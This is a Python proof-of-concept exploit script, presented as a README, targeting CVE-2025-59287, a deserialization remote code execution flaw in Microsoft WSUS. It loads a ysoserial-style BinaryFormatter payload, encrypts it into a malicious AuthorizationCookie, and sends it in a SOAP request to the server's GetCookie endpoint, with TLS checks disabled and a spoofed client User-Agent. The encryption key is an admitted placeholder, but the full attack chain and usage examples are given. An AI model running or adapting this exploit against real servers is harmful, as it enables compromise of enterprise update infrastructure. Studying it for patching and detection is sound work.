README.md
Rendering markdown...
#!/usr/bin/env python3
"""
CVE-2025-59287 Proof-of-Concept Exploit
WSUS BinaryFormatter Deserialization RCE Vulnerability
WARNING: This exploit is for authorized security testing only.
Unauthorized use is illegal and unethical.
"""
import requests
import base64
import sys
import argparse
from urllib3.exceptions import InsecureRequestWarning
# Suppress SSL warnings for testing
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
class WSUSExploit:
def __init__(self, target_url, port=8530):
"""
Initialize the WSUS exploit
Args:
target_url: Target WSUS server URL (e.g., '192.168.1.100')
port: WSUS port (default 8530 for HTTP, 8531 for HTTPS)
"""
self.target_url = target_url
self.port = port
protocol = "https" if port == 8531 else "http"
self.base_url = f"{protocol}://{target_url}:{port}"
self.soap_endpoint = f"{self.base_url}/ClientWebService/ClientWebService.asmx"
def load_payload_from_file(self, payload_file):
"""Load BinaryFormatter payload from file"""
try:
with open(payload_file, 'rb') as f:
return f.read()
except FileNotFoundError:
print(f"[!] Error: Payload file '{payload_file}' not found")
sys.exit(1)
except Exception as e:
print(f"[!] Error reading payload file: {e}")
sys.exit(1)
def encrypt_payload(self, payload_data):
"""
Encrypt the payload using WSUS EncryptionHelper encryption
WSUS uses a custom encryption mechanism for AuthorizationCookie.
This function simulates that encryption process.
NOTE: The actual encryption key needs to be extracted from WSUS binaries.
This is a placeholder implementation.
"""
import hashlib
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
import os
# WSUS encryption key derivation (this may need adjustment based on actual implementation)
# Common pattern: derive from hardcoded string or machine-specific data
# TODO: Extract actual key from WSUS binaries (Microsoft.UpdateServices.WebServices.dll)
key_source = b"WSUSAuthorizationCookieKey" # PLACEHOLDER - must be extracted
key = hashlib.sha256(key_source).digest()[:16]
iv = os.urandom(16)
cipher = AES.new(key, AES.MODE_CBC, iv)
# Encrypt the BinaryFormatter payload
encrypted = cipher.encrypt(pad(payload_data, AES.block_size))
# WSUS likely base64 encodes the encrypted data
encrypted_b64 = base64.b64encode(iv + encrypted).decode('utf-8')
print(f"[*] Encrypted payload (length: {len(encrypted_b64)} bytes)")
return encrypted_b64
def create_soap_request(self, encrypted_cookie):
"""
Create SOAP request to GetCookie() endpoint with malicious AuthorizationCookie
"""
soap_body = f"""<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:xsd="http://www.w3.org/2001/XMLSchema">
<soap:Header>
<AuthorizationCookie xmlns="http://www.microsoft.com/SoftwareDistribution/Server/ClientWebService">
{encrypted_cookie}
</AuthorizationCookie>
</soap:Header>
<soap:Body>
<GetCookie xmlns="http://www.microsoft.com/SoftwareDistribution/Server/ClientWebService">
<cookieType>AuthorizationCookie</cookieType>
</GetCookie>
</soap:Body>
</soap:Envelope>"""
return soap_body
def exploit(self, payload_file=None, encrypted_cookie=None):
"""
Execute the exploit
Args:
payload_file: Path to BinaryFormatter payload file (generated by ysoserial.net or BinaryFormatterPayloadGenerator)
encrypted_cookie: Pre-encrypted cookie (optional, if payload_file not provided)
"""
print("=" * 60)
print("[*] CVE-2025-59287 WSUS RCE Exploit")
print("=" * 60)
print(f"[*] Target: {self.target_url}:{self.port}")
print(f"[*] Endpoint: {self.soap_endpoint}")
print()
try:
# Step 1: Load or use provided payload
if encrypted_cookie:
print("[*] Using provided encrypted cookie")
encrypted = encrypted_cookie
elif payload_file:
print(f"[*] Step 1: Loading BinaryFormatter payload from '{payload_file}'...")
payload = self.load_payload_from_file(payload_file)
print(f"[+] Loaded payload ({len(payload)} bytes)")
# Step 2: Encrypt the payload
print("[*] Step 2: Encrypting payload using WSUS encryption...")
print("[!] WARNING: Using placeholder encryption key!")
print("[!] You must extract the actual key from WSUS binaries for real exploitation.")
encrypted = self.encrypt_payload(payload)
else:
print("[!] Error: Either payload_file or encrypted_cookie must be provided")
return
# Step 3: Create SOAP request
print("[*] Step 3: Creating SOAP request...")
soap_request = self.create_soap_request(encrypted)
# Step 4: Send exploit
print("[*] Step 4: Sending exploit to WSUS server...")
print()
headers = {
'Content-Type': 'text/xml; charset=utf-8',
'SOAPAction': 'http://www.microsoft.com/SoftwareDistribution/Server/ClientWebService/GetCookie',
'User-Agent': 'WSUS Client',
'Host': f'{self.target_url}:{self.port}'
}
response = requests.post(
self.soap_endpoint,
data=soap_request,
headers=headers,
verify=False,
timeout=10
)
print("=" * 60)
print(f"[*] Response Status: {response.status_code}")
print(f"[*] Response Length: {len(response.content)} bytes")
print("=" * 60)
if response.status_code == 200:
print("[!] Request accepted - deserialization may have occurred")
print("[!] Check target system for command execution")
if len(response.text) > 0:
print("\n[*] Response preview:")
print(response.text[:500])
elif response.status_code == 500:
print("[!] Server returned 500 - might indicate deserialization error or success")
print("[!] Check target system anyway")
else:
print(f"[*] Server returned status {response.status_code}")
if len(response.text) > 0:
print(f"\n[*] Response: {response.text[:500]}")
except requests.exceptions.ConnectionError:
print(f"[!] Error: Could not connect to {self.soap_endpoint}")
print("[!] Make sure WSUS is running and accessible")
print("[!] Check firewall rules and network connectivity")
except requests.exceptions.Timeout:
print(f"[!] Error: Request to {self.soap_endpoint} timed out")
except ImportError as e:
print(f"[!] Error: Missing required library - {e}")
print("[!] Install dependencies: pip install -r requirements.txt")
except Exception as e:
print(f"[!] Error: {str(e)}")
import traceback
traceback.print_exc()
def main():
parser = argparse.ArgumentParser(
description='CVE-2025-59287 WSUS RCE Exploit PoC',
formatter_class=argparse.RawDescriptionHelpFormatter,
epilog="""
Examples:
# Using BinaryFormatter payload file
python wsus_exploit.py -t 192.168.1.100 -f payload.bin
# Using pre-encrypted cookie
python wsus_exploit.py -t wsus.example.com -p 8531 -e "BASE64_ENCRYPTED_COOKIE"
# With HTTPS
python wsus_exploit.py -t wsus.example.com -p 8531 -f payload.bin
WARNING: Only use this on systems you own or have explicit permission to test.
"""
)
parser.add_argument('-t', '--target', required=True,
help='Target WSUS server IP or hostname')
parser.add_argument('-p', '--port', type=int, default=8530,
help='WSUS port (default: 8530 for HTTP, 8531 for HTTPS)')
parser.add_argument('-f', '--file', dest='payload_file',
help='Path to BinaryFormatter payload file')
parser.add_argument('-e', '--encrypted', dest='encrypted_cookie',
help='Pre-encrypted cookie (base64)')
args = parser.parse_args()
if not args.payload_file and not args.encrypted_cookie:
parser.error("Either --file or --encrypted must be provided")
exploit = WSUSExploit(args.target, args.port)
exploit.exploit(payload_file=args.payload_file, encrypted_cookie=args.encrypted_cookie)
if __name__ == "__main__":
main()